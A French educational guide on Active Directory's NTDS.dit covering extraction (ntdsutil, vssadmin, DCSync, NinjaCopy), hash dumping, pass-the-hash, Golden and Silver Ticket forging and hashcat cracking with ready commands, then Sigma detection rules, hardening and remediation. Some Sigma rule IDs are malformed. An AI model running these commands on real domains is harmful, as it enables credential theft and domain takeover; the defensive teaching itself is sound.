NTDS.dit : Extraction, Analyse et Protection des Secrets

Essentiel à chaque infrastructure Active Directory se trouve un fichier qui contient l'intégralité des secrets du domaine : le fichier NTDS.dit. Ce fichier, stocké sur chaque contrôleur de domaine, est la base de données qui contient tous les comptes utilisateur, leurs hashes de mots de passe, les appartenances aux groupes, les clés Kerberos et les attributs confidentiels. Pour un attaquant, obtenir une copie de NTDS.dit équivaut à obtenir les clés de l'ensemble du royaume Active Directory. Ce guide approfondi examine en detail les aspects fondamentaux et avances de NTDS.dit, en proposant une analyse structuree et documentee des enjeux actuels. Les professionnels y trouveront des recommandations concretes, des methodologies eprouvees et des retours d'experience terrain directement applicables en environnement de production. L'analyse integre les dernieres evolutions technologiques, les tendances emergentes du secteur et les meilleures pratiques recommandees par les experts du domaine.

Comprendre la structure de NTDS.dit, les techniques d'extraction utilisées par les attaquants et les mécanismes de protection disponibles est fondamental pour tout professionnel de la sécurité Active Directory. Cet article couvre en profondeur la structure interne du fichier, les cinq principales méthodes d'extraction (ntdsutil, vssadmin, DCSync, DVSC, raw copy), les outils d'analyse post-extraction (secretsdump, DSInternals), les attaques rendues possibles par l'accès aux secrets (Golden Ticket, pass-the-hash, Silver Ticket) et les défenses recommandées. Pour plus d'informations, consultez les ressources de ANSSI.

Avertissement : Les techniques décrites dans cet article sont présentées à des fins éducatives et de défense. L'extraction non autorisée de NTDS.dit constitue une atteinte aux systèmes d'information sanctionnée par l'article 323-1 du Code pénal. Ne les utilisez que dans le cadre d'audits autorisés.

Votre Active Directory résisterait-il à une attaque Kerberoasting ?

2. Structure interne de NTDS.dit

2.1 Le moteur ESE (Extensible Storage Engine)

NTDS.dit utilise le moteur de base de données ESE (Extensible Storage Engine), aussi connu sous le nom de JET Blue. Ce même moteur est utilisé par Exchange Server, Windows Search et d'autres composants Microsoft. ESE est une base de données transactionnelle ISAM (Indexed Sequential Access Method) qui offre des performances élevées pour les opérations de lecture/écriture concurrentes. Pour plus d'informations, consultez les ressources de MITRE ATT&CK.

Le fichier NTDS.dit se trouve par défaut dans %SystemRoot%\NTDS\ntds.dit sur chaque contrôleur de domaine. Il est accompagné de fichiers de journalisation transactionnelle :

• ntds.dit : la base de données principale (taille typique : 100 Mo à plusieurs Go selon le nombre d'objets)
• edb.log : journal de transactions actif (10 Mo par défaut)
• edb*.log : journaux de transactions en attente de checkpoint
• edb.chk : fichier de checkpoint qui indique la dernière transaction validée dans la base
• temp.edb : espace de travail temporaire pour les opérations internes

2.2 Tables principales

La base NTDS.dit contient plusieurs tables, dont les principales sont :

Table	Contenu	Intérêt pour l'attaquant
datatable	Tous les objets AD (utilisateurs, groupes, ordinateurs, GPO, etc.) avec leurs attributs	Hashes NT, historique de mots de passe, attributs confidentiels
link_table	Relations entre objets (appartenances aux groupes, liens managedBy, etc.)	Reconstruction des groupes et permissions
sd_table	Security descriptors (ACL) de tous les objets	Identification des permissions abusives
hiddentable	Métadonnées internes (epoch, schema version, etc.)	Informations de contexte

2.3 Attributs sensibles dans la datatable

2. Structure interne de NTDS.dit : analyse approfondie

La datatable contient les attributs qui intéressent le plus les attaquants. Ces attributs sont stockés de manière chiffrée dans la base, mais le chiffrement peut être déverrouillé avec la Boot Key (aussi appelée SysKey) stockée dans le registre SYSTEM :

Attribut	Nom LDAP	Description
NT Hash	unicodePwd (dBCSPwd)	Hash NTLM du mot de passe actuel (MD4 du mot de passe Unicode)
LM Hash	dBCSPwd	Hash LAN Manager (obsolète, désactivé par défaut depuis Vista)
Password History	ntPwdHistory / lmPwdHistory	Historique des N derniers hashes (configurable, typiquement 24)
Supplemental Credentials	supplementalCredentials	Mots de passe en clair (WDigest), clés Kerberos (AES256, AES128, DES-CBC)
SID History	sIDHistory	SIDs d'anciens domaines (exploitable pour la persistance cross-domaine)
KRBTGT Key	unicodePwd (du compte krbtgt)	Clé maître Kerberos -- permet la forge de Golden Tickets

3. Techniques d'extraction de NTDS.dit

Le fichier NTDS.dit est verrouillé en permanence par le processus lsass.exe (via le service NTDS) sur un contrôleur de domaine en fonctionnement. Une copie directe (simple copy) échouera. Plusieurs techniques contournent ce verrouillage :

3.1 Méthode 1 : ntdsutil (outil natif Microsoft)

ntdsutil est l'outil officiel Microsoft pour la maintenance de la base NTDS. Il permet de créer un snapshot IFM (Install From Media) qui contient une copie cohérente de NTDS.dit et du registre SYSTEM. C'est la méthode la plus propre et celle qui laisse les traces les plus évidentes dans les logs :

# Sur le contrôleur de domaine (nécessite Domain Admin ou équivalent)
ntdsutil "activate instance ntds" "ifm" "create full C:\temp\ntds_dump" quit quit

# Résultat: deux dossiers créés
# C:\temp\ntds_dump\Active Directory\ntds.dit    (base de données)
# C:\temp\ntds_dump\registry\SYSTEM              (Boot Key)
# C:\temp\ntds_dump\registry\SECURITY            (LSA secrets)

# Alternative: snapshot uniquement (sans IFM)
ntdsutil "activate instance ntds" "snapshot" "create" quit quit
# Puis monter le snapshot et copier ntds.dit

Détection : L'utilisation de ntdsutil génère l'Event ID 325 (ESE database created) et peut être détectée via Sysmon Event ID 1 en surveillant l'exécution de ntdsutil.exe avec les arguments ifm ou snapshot.

3.2 Méthode 2 : Volume Shadow Copy (vssadmin)

Le service Volume Shadow Copy (VSS) permet de créer des instantanés du volume système, fournissant un accès à la copie de NTDS.dit non verrouillée :

# Créer un shadow copy du volume système
vssadmin create shadow /for=C:

# Identifier le Shadow Copy ID dans la sortie
# Shadow Copy ID: {xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}
# Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyX

# Copier ntds.dit depuis le shadow copy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\temp\ntds.dit

# Copier le registre SYSTEM (nécessaire pour la Boot Key)
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\temp\SYSTEM

# Supprimer le shadow copy (nettoyage par l'attaquant)
vssadmin delete shadows /shadow={Shadow Copy ID} /quiet

# Variante avec WMI (plus discrète, pas de binaire vssadmin)
wmic shadowcopy call create Volume='C:\'

Détection : Surveiller l'Event ID 8222 (VSS shadow copy created) dans le journal System, l'exécution de vssadmin.exe avec l'argument create shadow, et la création de fichiers nommés ntds.dit en dehors du répertoire NTDS.

3.3 Méthode 3 : DCSync (attaque à distance)

DCSync est la technique d'extraction la plus dangereuse car elle ne nécessite aucun accès direct au contrôleur de domaine. Elle exploite le protocole de réplication AD (MS-DRSR / DRS Remote Protocol) pour demander la réplication des secrets depuis n'importe quelle machine du réseau :

Savez-vous combien de comptes à privilèges existent réellement dans votre domaine ?

3. Techniques d'extraction de NTDS.dit : analyse approfondie

# DCSync avec Mimikatz (depuis une machine quelconque du domaine)
# Nécessite: Replicating Directory Changes + Replicating Directory Changes All
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

# DCSync avec secretsdump.py (Impacket) - plus discret
python3 secretsdump.py -just-dc corp.local/admin:Password123@dc01.corp.local

# Extraction ciblée d'un seul utilisateur
python3 secretsdump.py -just-dc-user krbtgt corp.local/admin:Password123@dc01.corp.local

# Via pass-the-hash (sans connaître le mot de passe en clair)
python3 secretsdump.py -just-dc -hashes :aad3b435b51404eeaad3b435b51404ee corp.local/admin@dc01.corp.local

Détection : L'Event ID 4662 (operation on directory object) avec les GUID de propriétés 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes) et 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 (DS-Replication-Get-Changes-All) depuis un compte qui n'est pas un contrôleur de domaine est le signal d'alerte principal pour DCSync.

3.4 Méthode 4 : Copie raw avec NinjaCopy / Invoke-NinjaCopy

NinjaCopy (module PowerShell de PowerSploit) permet de copier des fichiers verrouillés en lisant directement les secteurs du disque, contournant les verrous du système de fichiers NTFS. Cette technique est plus discrète que vssadmin car elle ne crée pas de shadow copy :

# NinjaCopy depuis PowerSploit
Import-Module .\Invoke-NinjaCopy.ps1

# Copier NTDS.dit en lisant directement les clusters NTFS
Invoke-NinjaCopy -Path "C:\Windows\NTDS\ntds.dit" -LocalDestination "C:\temp\ntds.dit"

# Copier le registre SYSTEM
Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -LocalDestination "C:\temp\SYSTEM"

Détection : Surveiller le chargement de modules PowerShell suspects, l'exécution de scripts avec des noms liés à NinjaCopy, et l'accès direct aux volumes (DeviceIoControl) depuis des processus non système. Sysmon Event ID 7 (Image Loaded) peut capturer le chargement du module.

3.5 Méthode 5 : Extraction via sauvegarde ou média IFM

Les sauvegardes du System State d'un contrôleur de domaine contiennent une copie de NTDS.dit. Si un attaquant accède à l'infrastructure de sauvegarde (serveur Veeam, bandes, stockage cloud), il peut extraire NTDS.dit sans jamais toucher au DC lui-même. De même, les médias IFM créés pour la promotion de DCs supplémentaires contiennent une copie complète de la base :

• Sauvegardes Windows Server Backup : le System State contient NTDS.dit, le registre, et SYSVOL
• Sauvegardes Veeam / Commvault / Veritas : les agents sur les DCs capturent ntds.dit
• Médias IFM oubliés : répertoires laissés sur des partages ou des DCs après promotion
• Snapshots VM : un snapshot de la VM du DC contient le fichier NTDS.dit en état cohérent

4. Analyse post-extraction : outils et techniques

4.1 Impacket secretsdump.py

secretsdump.py d'Impacket est l'outil de référence pour extraire les secrets d'un fichier NTDS.dit. Il gère le déchiffrement complet de la base en utilisant la Boot Key extraite du registre SYSTEM :

# Extraction offline de tous les hashes depuis NTDS.dit + SYSTEM
python3 secretsdump.py -ntds /path/to/ntds.dit -system /path/to/SYSTEM LOCAL

# Sortie typique:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
# krbtgt:502:aad3b435b51404eeaad3b435b51404ee:f3bc61e97fb14d18c42bcbf6c3a9055f:::
# john.doe:1103:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::

# Format: username:RID:LM_hash:NT_hash:::

# Extraction avec historique de mots de passe
python3 secretsdump.py -ntds ntds.dit -system SYSTEM -history LOCAL

# Extraction des clés Kerberos (AES256, AES128, DES)
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -just-dc-user krbtgt

# Extraction au format hashcat pour le cracking
python3 secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile hashes.txt
# Puis: hashcat -m 1000 hashes.txt.ntds wordlist.txt

4.2 DSInternals (PowerShell)

DSInternals est un module PowerShell développé par Michael Grafnetter qui offre une analyse approfondie de la base NTDS.dit avec des capacités que secretsdump ne propose pas :

# Installation du module DSInternals
Install-Module -Name DSInternals -Force

# Lire la Boot Key depuis la ruche SYSTEM
$bootkey = Get-BootKey -SystemHivePath "C:\temp\SYSTEM"

# Extraire tous les comptes avec leurs hashes
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Format-Table SamAccountName, Enabled, NTHash, @{N='LastPwdSet';E={$_.PasswordLastSet}} -AutoSize

# Vérifier les mots de passe contre une liste de mots de passe compromis (Have I Been Pwned)
# Télécharger d'abord le fichier de hashes HIBP NT (format sorted)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Test-PasswordQuality -WeakPasswordHashesSortedFile ".\pwned-passwords-ntlm-ordered.txt"

# Résultat:
# Comptes avec mots de passe compromis (dans HIBP): 847
# Comptes avec mots de passe identiques: 234 groupes
# Comptes avec mot de passe = username: 12
# Comptes sans pré-authentification Kerberos: 3
# Comptes avec DES uniquement: 0

# Extraire les clés Kerberos d'un compte spécifique
Get-ADDBAccount -SamAccountName "krbtgt" -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Select-Object -ExpandProperty KerberosKeys

# Exporter tous les hashes au format ophcrack
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Format-Custom -View PwDump |
    Out-File hashes_pwdump.txt

4.3 Analyse forensique avancée

Au-delà de l'extraction de hashes, l'analyse de NTDS.dit fournit des informations forensiques précieuses pour les investigations :

• Historique des mots de passe : permet de déterminer si un compte a réutilisé d'anciens mots de passe ou suit un pattern de rotation prévisible (Password1, Password2, Password3...)
• Timestamps : pwdLastSet, lastLogonTimestamp, whenCreated, whenChanged permettent de reconstituer la timeline de l'activité du compte
• SID History : des SIDs ajoutés dans l'attribut sIDHistory peuvent indiquer une attaque de persistance cross-domaine ou une migration mal nettoyée
• Supplemental Credentials : sous Windows Server 2012 R2 et antérieur avec WDigest activé, les mots de passe en clair peuvent être récupérés
• Comptes désactivés avec hashes valides : des comptes désactivés mais dont le hash est réutilisé par des comptes actifs (password reuse)

# Analyse forensique avec DSInternals
# Identifier les comptes avec SID History (persistance potentielle)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.SidHistory.Count -gt 0 } |
    Select-Object SamAccountName, Sid, SidHistory

# Identifier les comptes créés récemment (backdoor potentiel)
Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey |
    Where-Object { $_.WhenCreated -gt (Get-Date).AddDays(-30) } |
    Select-Object SamAccountName, WhenCreated, Enabled, MemberOf

# Identifier les comptes avec le même hash NT (password reuse)
$accounts = Get-ADDBAccount -All -DBPath "C:\temp\ntds.dit" -BootKey $bootkey
$accounts | Group-Object { $_.NTHash } | Where-Object { $_.Count -gt 1 } |
    Select-Object Count, @{N='Hash';E={$_.Name}}, @{N='Accounts';E={$_.Group.SamAccountName -join ', '}}

5. Attaques post-extraction

L'accès aux secrets de NTDS.dit ouvre la porte à une série d'attaques critiques qui peuvent compromettre l'ensemble du domaine de manière persistante :

5.1 Pass-the-Hash (PtH)

Avec les hashes NT extraits, un attaquant peut s'authentifier sur n'importe quel service supportant l'authentification NTLM sans connaître le mot de passe en clair. Le hash NT est l'équivalent fonctionnel du mot de passe dans le protocole NTLM :

# Pass-the-Hash avec Impacket (accès SMB)
python3 psexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 corp.local/administrator@10.10.1.10

# Pass-the-Hash avec Impacket (accès WMI)
python3 wmiexec.py -hashes :e19ccf75ee54e06b06a5907af13cef42 corp.local/administrator@10.10.1.10

# Pass-the-Hash avec Evil-WinRM
evil-winrm -i 10.10.1.10 -u administrator -H e19ccf75ee54e06b06a5907af13cef42

# Pass-the-Hash avec CrackMapExec (scan de masse)
crackmapexec smb 10.10.1.0/24 -u administrator -H e19ccf75ee54e06b06a5907af13cef42 --shares

5.2 Golden Ticket

L'attaque la plus redoutable rendue possible par l'extraction de NTDS.dit est le Golden Ticket. Avec le hash du compte krbtgt, un attaquant peut forger des tickets Kerberos TGT arbitraires, lui donnant un accès illimité et persistant à l'ensemble du domaine :

# Forge d'un Golden Ticket avec Mimikatz
# Prérequis: hash NTLM ou clé AES256 du compte krbtgt, SID du domaine
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /krbtgt:f3bc61e97fb14d18c42bcbf6c3a9055f \
    /groups:512,513,518,519,520 \
    /ptt

# Forge avec clé AES256 (plus discret, évite les détections basées sur RC4)
mimikatz # kerberos::golden /user:FakeAdmin /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /aes256:a1b2c3d4e5f6... \
    /ptt

# Forge avec Impacket ticketer
python3 ticketer.py -nthash f3bc61e97fb14d18c42bcbf6c3a9055f \
    -domain-sid S-1-5-21-1234567890-1234567890-1234567890 \
    -domain corp.local FakeAdmin

# Utiliser le ticket forgé
export KRB5CCNAME=FakeAdmin.ccache
python3 psexec.py -k -no-pass corp.local/FakeAdmin@dc01.corp.local

5.3 Silver Ticket

5. Attaques post-extraction : analyse approfondie

Un Silver Ticket est un ticket de service (TGS) forgé avec le hash du compte de service cible. Contrairement au Golden Ticket qui donne accès à l'ensemble du domaine, le Silver Ticket est ciblé sur un service spécifique, ce qui le rend plus discret :

# Silver Ticket pour le service CIFS (accès fichiers) du DC
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:cifs \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt

# Silver Ticket pour le service LDAP (DCSync sans être Domain Admin)
mimikatz # kerberos::golden /user:FakeUser /domain:corp.local \
    /sid:S-1-5-21-1234567890-1234567890-1234567890 \
    /target:dc01.corp.local \
    /service:ldap \
    /rc4:[hash_du_compte_machine_DC01$] \
    /ptt

5.4 Password cracking offline

Les hashes NT extraits de NTDS.dit peuvent être craqués offline pour obtenir les mots de passe en clair. Le hash NT (NTLM) est un simple MD4 du mot de passe Unicode, sans salage, ce qui le rend vulnérable aux attaques par dictionnaire, par règles de mutation et par tables précalculées :

# Cracking avec Hashcat (mode 1000 = NT hash)
# Attaque dictionnaire simple
hashcat -m 1000 hashes.txt rockyou.txt

# Attaque dictionnaire + règles de mutation
hashcat -m 1000 hashes.txt rockyou.txt -r rules/best64.rule

# Attaque par masque (brute force structuré)
# Pattern: Majuscule + minuscules + chiffres + spécial (ex: Password123!)
hashcat -m 1000 hashes.txt -a 3 '?u?l?l?l?l?l?l?l?d?d?d?s'

# Résultats typiques sur un dump de 10,000 comptes:
# - 40-60% craqués avec rockyou.txt + règles
# - 70-80% craqués avec des dictionnaires spécialisés (nom de l'entreprise, ville, etc.)
# - 90%+ craqués en ajoutant des règles de mutation avancées

# Vérification des mots de passe craqués pour les comptes privilegiés
hashcat -m 1000 hashes.txt --show --username | grep -i admin

6. Détection des attaques sur NTDS.dit

La détection de l'extraction de NTDS.dit est critique car elle représente souvent le point culminant d'une compromission AD. Voici les indicateurs clés à surveiller :

6.1 Détection de l'extraction par ntdsutil / vssadmin

# Règle Sigma: Détection de ntdsutil IFM
title: NTDS.dit Extraction via ntdsutil IFM
id: c7e91f23-8a4b-4d1c-9e3a-2b5f7c8d1e4a
status: stable
level: critical
tags:
  - attack.credential_access
  - attack.t1003.003
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\ntdsutil.exe'
    CommandLine|contains|all:
      - 'ifm'
      - 'create'
  condition: selection
falsepositives:
  - Legitimate IFM creation for DC promotion (should be rare and planned)

---
# Règle Sigma: Détection de Shadow Copy suspecte
title: Suspicious Volume Shadow Copy for NTDS.dit Access
id: d8f02a34-9b5c-4e2d-af4b-3c6g8d9e2f5b
status: stable
level: high
tags:
  - attack.credential_access
  - attack.t1003.003
logsource:
  category: process_creation
  product: windows
detection:
  selection_vssadmin:
    Image|endswith: '\vssadmin.exe'
    CommandLine|contains: 'create shadow'
  selection_wmic:
    Image|endswith: '\wmic.exe'
    CommandLine|contains: 'shadowcopy'
  condition: selection_vssadmin or selection_wmic

6.2 Détection de DCSync

# Règle Sigma: Détection DCSync
title: DCSync Attack Detection via Directory Replication
id: e9g13b45-ac6d-4f3e-bg5c-4d7h9e0f3g6c
status: stable
level: critical
tags:
  - attack.credential_access
  - attack.t1003.006
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4662
    Properties|contains:
      - '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes
      - '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2'  # DS-Replication-Get-Changes-All
  filter_dc_accounts:
    SubjectUserName|endswith: '$'
    SubjectUserName|contains:
      - 'DC01'
      - 'DC02'
      # Ajouter tous les noms de DCs légitimes
  condition: selection and not filter_dc_accounts
falsepositives:
  - Azure AD Connect synchronization account
  - Legitimate replication monitoring tools

En complément des règles SIEM, surveillez les flux réseau pour les requêtes DRS (MS-DRSR) provenant de machines qui ne sont pas des contrôleurs de domaine. Un IDS réseau configuré pour détecter le trafic de réplication AD depuis des sources non-DC est un contrôle de détection robuste.

6.3 Détection post-exploitation

La détection de l'utilisation des secrets extraits est aussi importante que la détection de l'extraction elle-même :

• Golden Ticket : Event ID 4769 (TGS request) avec un TGT dont la durée de vie est anormalement longue, ou un TGT pour un utilisateur inexistant. Surveiller les tickets avec TicketEncryptionType = 0x17 (RC4) alors que la politique impose AES.
• Pass-the-Hash : Event ID 4624 (Logon) avec LogonType = 3 (Network) et AuthenticationPackage = NTLM depuis un endpoint client (pas un serveur). Les authentifications NTLM devraient être rares dans un environnement Kerberos.
• Password cracking réussi : une vague de connexions depuis des comptes précédemment inactifs peut indiquer que des mots de passe ont été craqués et sont utilisés.

7. Protection et durcissement

La protection des secrets Active Directory nécessite une approche en profondeur couvrant la prévention de l'extraction, la réduction de l'impact en cas d'extraction et la détection rapide :

7.1 Prévention de l'extraction

Modèle de tiering et administration à privilèges

La mesure la plus efficace est de limiter drastiquement le nombre de comptes capables d'extraire NTDS.dit. L'extraction nécessite des droits Domain Admin, des droits de réplication (DCSync) ou un accès physique/console au DC. Le modèle de tiering limite ces accès :

• Réduire le nombre de Domain Admins à 2-3 comptes maximum (pas les comptes du quotidien)
• Auditer les droits DCSync : identifier tous les comptes avec Replicating Directory Changes et Replicating Directory Changes All via BloodHound ou PowerShell
• Utiliser des PAW (Privileged Access Workstations) pour toute administration des DCs
• Interdire le logon interactif sur les DCs sauf depuis les PAW

# Auditer les comptes avec droits DCSync
Import-Module ActiveDirectory

# Vérifier les ACL sur la partition de domaine
$domainDN = (Get-ADDomain).DistinguishedName
$acl = Get-Acl "AD:\$domainDN"

$acl.Access | Where-Object {
    $_.ObjectType -eq "1131f6ad-9c07-11d1-f79f-00c04fc2dcd2" -or  # GetChangesAll
    $_.ObjectType -eq "1131f6aa-9c07-11d1-f79f-00c04fc2dcd2"      # GetChanges
} | Select-Object IdentityReference, ActiveDirectoryRights, ObjectType |
    Format-Table -AutoSize

# Résultat attendu: uniquement les groupes Domain Controllers et Enterprise Domain Controllers
# Tout autre compte = risque de DCSync non autorisé

Credential Guard

Windows Credential Guard utilise la virtualisation (VBS - Virtualization-Based Security) pour isoler les secrets LSASS dans un conteneur sécurisé inaccessible au noyau Windows. Bien que Credential Guard ne protège pas NTDS.dit directement (il protège les credentials en mémoire sur les endpoints), il empêche l'extraction de hashes depuis la mémoire LSASS, ce qui réduit les possibilités de pass-the-hash après compromission d'un poste :

# Activer Credential Guard via GPO
# Computer Configuration > Administrative Templates > System > Device Guard
# > Turn On Virtualization Based Security
# Credential Guard Configuration: Enabled with UEFI lock

# Vérification de l'état de Credential Guard
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard |
    Select-Object SecurityServicesRunning, VirtualizationBasedSecurityStatus

# SecurityServicesRunning = {1, 2} = Credential Guard + HVCI activés
# VirtualizationBasedSecurityStatus = 2 = Running

7.2 Réduction d'impact

Rotation du mot de passe KRBTGT

La rotation régulière du mot de passe du compte krbtgt est la défense principale contre le Golden Ticket. Microsoft recommande une rotation tous les 180 jours. En cas de suspicion de compromission, effectuer deux rotations successives (avec un intervalle d'au moins 10-12 heures entre les deux pour laisser expirer les TGT légitimes) :

7. Protection et durcissement : analyse approfondie

# Script de rotation du mot de passe KRBTGT
# ATTENTION: cette opération impacte l'ensemble du domaine
# Planifier en dehors des heures de pointe

# Rotation 1 (invalide le hash actuel, l'ancien reste dans l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) | 
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)

# Vérifier la date de dernière modification
Get-ADUser krbtgt -Properties PasswordLastSet | Select-Object PasswordLastSet

# ATTENDRE 10-12 heures (max lifetime d'un TGT)

# Rotation 2 (invalide aussi le hash de l'historique)
Set-ADAccountPassword -Identity krbtgt -Reset -NewPassword (
    ConvertTo-SecureString -AsPlainText (
        -join ((65..90) + (97..122) + (48..57) + (33..47) | 
        Get-Random -Count 64 | ForEach-Object { [char]$_ })
    ) -Force
)

Politique de mots de passe robuste

Puisque les hashes NT ne sont pas salés, la seule défense contre le cracking offline est la robustesse du mot de passe. Les recommandations actuelles :

Type de compte	Longueur minimum	Politique recommandée
Utilisateurs standard	14 caractères	Passphrase (4+ mots), pas de rotation forcée (NIST 800-63B)
Comptes privilégiés	20 caractères	Générateur aléatoire, coffre-fort de mots de passe, rotation 90 jours
Comptes de service	30+ caractères	Préférer les gMSA (Group Managed Service Accounts) avec rotation automatique
KRBTGT	N/A (aléatoire)	Rotation tous les 180 jours, double rotation en cas d'incident

gMSA (Group Managed Service Accounts)

Les gMSA sont la solution définitive pour les comptes de service. Leur mot de passe est géré automatiquement par AD, fait 240 caractères aléatoires et est roté automatiquement tous les 30 jours. Un gMSA extrait de NTDS.dit devient inutile après la prochaine rotation automatique :

# Créer un gMSA
New-ADServiceAccount -Name "svc_webapp" `
    -DNSHostName "svc_webapp.corp.local" `
    -PrincipalsAllowedToRetrieveManagedPassword "WebServers_Group" `
    -KerberosEncryptionType AES128,AES256

# Installer le gMSA sur le serveur cible
Install-ADServiceAccount -Identity "svc_webapp"

# Configurer le service Windows pour utiliser le gMSA
# Nom d'utilisateur: CORP\svc_webapp$
# Mot de passe: (laisser vide - géré automatiquement)

7.3 Surveillance continue

La surveillance continue est le dernier rempart. Déployez les contrôles suivants :

• Alertes SIEM critiques : les règles Sigma de la section 6 doivent déclencher des alertes priorité maximale avec notification immédiate de l'équipe sécurité
• Audit des permissions DCSync : vérification hebdomadaire automatisée des ACL sur la partition de domaine pour détecter l'ajout de droits de réplication
• Monitoring des accès aux DCs : journalisation complète (Event ID 4624, 4625, 4648) des logons sur les contrôleurs de domaine avec alerte sur tout logon non prévu
• Intégrité de NTDS.dit : monitoring FIM (File Integrity Monitoring) sur les répertoires %SystemRoot%\NTDS\ pour détecter les copies ou accès anormaux
• Analyse périodique de la qualité des mots de passe : exécution mensuelle de Test-PasswordQuality (DSInternals) pour identifier les comptes vulnérables au cracking

8. Scénario complet : de la compromission à la remédiation

Pour illustrer l'ensemble des concepts, voici un scénario réaliste de bout en bout :

8.1 Phase d'attaque

1. Compromission initiale : un email de phishing compromet le poste d'un utilisateur du service comptabilité
2. Élévation locale : l'attaquant exploite un mot de passe admin local identique sur plusieurs postes (absence de LAPS)
3. Mouvement latéral : pass-the-hash du compte admin local vers un serveur de fichiers où un Domain Admin a une session active
4. Credential harvesting : extraction du hash Domain Admin depuis la mémoire LSASS du serveur (Mimikatz sekurlsa::logonpasswords)
5. DCSync : utilisation du hash Domain Admin pour lancer DCSync depuis le serveur compromis, extraction de l'ensemble de NTDS.dit à distance
6. Persistance : forge d'un Golden Ticket avec le hash krbtgt, création d'un compte backdoor dans un OU peu surveillée

8.2 Phase de remédiation

Si une extraction de NTDS.dit est confirmée ou suspectée, la remédiation est massive et urgente. Considérez que tous les secrets du domaine sont compromis :

1. Contenir immédiatement : isoler les machines compromises identifiées, révoquer les sessions et tickets Kerberos des comptes compromis
2. Double rotation KRBTGT : effectuer deux rotations du mot de passe krbtgt (avec 10-12h d'intervalle) pour invalider tout Golden Ticket
3. Réinitialiser tous les mots de passe privilégiés : Domain Admins, Enterprise Admins, Schema Admins, comptes de service non-gMSA avec accès critique
4. Réinitialiser les mots de passe des comptes de service : tous les comptes dont le hash a été extrait et qui ne sont pas des gMSA
5. Auditer les comptes créés récemment : rechercher les backdoors (comptes créés par l'attaquant, comptes ajoutés à des groupes privilégiés)
6. Auditer les ACL modifiées : rechercher les modifications de permissions qui auraient permis une persistance (droits DCSync ajoutés, AdminSDHolder modifié)
7. Réinitialiser les mots de passe utilisateur : en fonction de l'analyse de risque, forcer la réinitialisation de tous les mots de passe ou cibler les comptes critiques
8. Déployer les contrôles manquants : Credential Guard, LAPS, gMSA, PAW, règles de détection

Questions frequentes

Pour approfondir ce sujet, consultez notre outil open-source bloodhound-custom-queries qui facilite l'analyse avancée des chemins d'attaque Active Directory.

9. Conclusion

Le fichier NTDS.dit est le coeur cryptographique d'Active Directory. Sa compromission donne à l'attaquant un accès total et persistant à l'ensemble du domaine -- comptes, mots de passe, clés Kerberos, tout. Les techniques d'extraction sont multiples (ntdsutil, vssadmin, DCSync, NinjaCopy) et certaines comme DCSync peuvent être exécutées à distance sans jamais toucher physiquement au contrôleur de domaine.

La défense repose sur trois piliers : prévenir l'extraction (tiering, réduction des Domain Admins, audit des droits DCSync, PAW), réduire l'impact (rotation KRBTGT, gMSA, politique de mots de passe robuste, Credential Guard) et détecter rapidement (règles SIEM, monitoring des DCs, audit continu des permissions). Aucun de ces piliers seul n'est suffisant -- c'est leur combinaison qui constitue une défense robuste.

L'audit régulier de la qualité des mots de passe via DSInternals, l'analyse des chemins d'attaque via BloodHound et le durcissement continu via les GPO de sécurisation forment le triptyque d'une posture de sécurité AD mature. Chaque organisation utilisant Active Directory devrait considérer la protection de NTDS.dit comme une priorité de sécurité absolue.

En résumé : NTDS.dit contient les clés du royaume. Protégez-le comme tel -- avec des contrôles d'accès stricts, une surveillance permanente et la capacité de répondre rapidement en cas de compromission. La question n'est pas si quelqu'un tentera d'extraire vos secrets AD, mais quand.